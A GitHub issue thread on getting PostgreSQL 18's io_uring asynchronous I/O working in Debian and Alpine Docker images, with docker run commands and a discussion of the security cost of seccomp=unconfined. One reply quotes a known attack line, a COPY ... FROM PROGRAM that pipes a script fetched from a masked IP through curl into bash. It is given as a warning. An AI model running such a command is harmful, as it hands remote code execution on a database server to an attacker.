Is it possible to use the io_method = io_uring with postgres-18.0?

[DJJ88]

Hello, I would like to try out the asynchronous I/O in PostgreSQL 18, by using the postgres-18 container however when I set up the parameter

io_method = io_uring # worker, io_uring, sync

and launch the following error

postgres18  | 2025-09-30 15:05:28 CEST [52]: user=,db=,app=,client=LOG:  invalid value for parameter "io_method": "io_uring"
postgres18  | 2025-09-30 15:05:28 CEST [52]: user=,db=,app=,client=HINT:  Available values: sync, worker.
postgres18  | 2025-09-30 15:05:28 CEST [52]: user=,db=,app=,client=FATAL:  configuration file "/etc/postgresql/postgresql.conf" contains errors

I even tried setting seccomp=unconfined but got the same results as above

services:
  postgres:
    container_name: postgres18
    image: postgres:18.0-alpine3.22
    # restart: unless-stopped
    security_opt:
      - seccomp=unconfined

the docker version i'm currently using is Docker version 28.0.4, build b8034c0 . Has anyone experienced similar issues? Do you have a solution to this issue?

[ImreSamu]

Notes:

1.)

from : https://vondra.me/posts/tuning-aio-in-postgresql-18/

"Note: Even on Linux it’s hard to verify io_uring. Some container runtimes (e.g. containerd) disabled io_uring support a while back, because of security risks."

2.)

in the https://github.com/tensorchord/pgvecto.rs-docs/blob/main/src/vectorchord/usage/postgresql-tuning.md#io_uring

"For security reasons, container runtimes, cloud providers, and system administrators may disable io_uring. If this happens, check with your vendor for details. See also Consider removing io_uring syscalls in from RuntimeDefault."

[DJJ88]

hello @ImreSamu, thanks for the additional information. Are you suggesting that asynchronous io that PG-18 offers is not worth the risk that would arise from using io_uring with docker?

[ImreSamu]

@DJJ88 :

Sorry for my earlier brief reply.

Please try the Debian version. The Alpine version needs a patch.

debian:

docker run -d --name=pg18io_uring  --security-opt seccomp=unconfined  -e POSTGRES_PASSWORD=secret  postgres:18 -c io_method=io_uring

docker exec -it  pg18io_uring psql -U postgres -c  "show  io_method;"

 io_method 
-----------
 io_uring
(1 row)

Alpine:

From what I see, the alpine version (postgres:18.0-alpine3.22) requires an extra configuration option --with-liburing:
https://www.postgresql.org/docs/current/install-make.html#CONFIGURE-OPTION-WITH-LIBURING
(It looks like this option is missing from the Alpine Dockerfile - https://github.com/docker-library/postgres/blob/master/Dockerfile-alpine.template )

[ImreSamu]

@DJJ88 :

In the meantime, the alpine version has also been fixed
( thanks to the maintainers: #1366 )

This means that with PostgreSQL 18 + Alpine, the io_uring method should now work correctly.

$ docker pull postgres:18.0-alpine3.22
18.0-alpine3.22: Pulling from library/postgres
Digest: sha256:fadc2b63607986d054ccb7302ca6fedc7bb9b6586d03f2110ae3fbc1ce806693
Status: Downloaded newer image for postgres:18.0-alpine3.22
docker.io/library/postgres:18.0-alpine3.22

$ docker run -d --name=pg18alpine-io_uring \
>    --security-opt seccomp=unconfined \
>   -e POSTGRES_PASSWORD=secret \
>   postgres:18.0-alpine3.22 -c io_method=io_uring
4e4b7bf49f02bc95067bb959ccd2bb7b8ea5c97ef2e4cce7037c74fc201f7f38

$ docker exec -it pg18alpine-io_uring psql -U postgres -c  "show  io_method; select version();"
 io_method 
-----------
 io_uring
(1 row)

                                         version                                         
-----------------------------------------------------------------------------------------
 PostgreSQL 18.0 on x86_64-pc-linux-musl, compiled by gcc (Alpine 14.2.0) 14.2.0, 64-bit
(1 row)

Are you suggesting that asynchronous io that PG-18 offers is not worth the risk that would arise from using io_uring with docker?

if a postgresql docker service is compromised [1] , malware could exploit io_uring to gain broader system access [2].
A typical attack path is well-documented:

• open port + brute force attack + COPY ... FROM PROGRAM 'curl http://1xx.1x.7x.1/1.sh | bash';

So while PG18's async IO is valuable, enabling io_uring in containers should be considered higher-risk.

[1] #770 (comment)
[2] https://security.googleblog.com/2023/06/learnings-from-kctf-vrps-42-linux.html

[re-thc]

So while PG18's async IO is valuable, enabling io_uring in containers should be considered higher-risk.

That's from 2023 and old kernels. Is it still true?

[tianon]

If you use the blanket --security-opt seccomp=unconfined to get there, yes, it's very much still true that this will increase the risk involved. Whether you can bear that risk is a question for you and your own threat model. There's probably a tighter seccomp profile that could be crafted to allow just io_uring (or something approximating that) which would be better.

[tianon]

... and in hindsight, I guess this issue should've been closed with the merge of #1366 (although do feel free to continue the discussion here)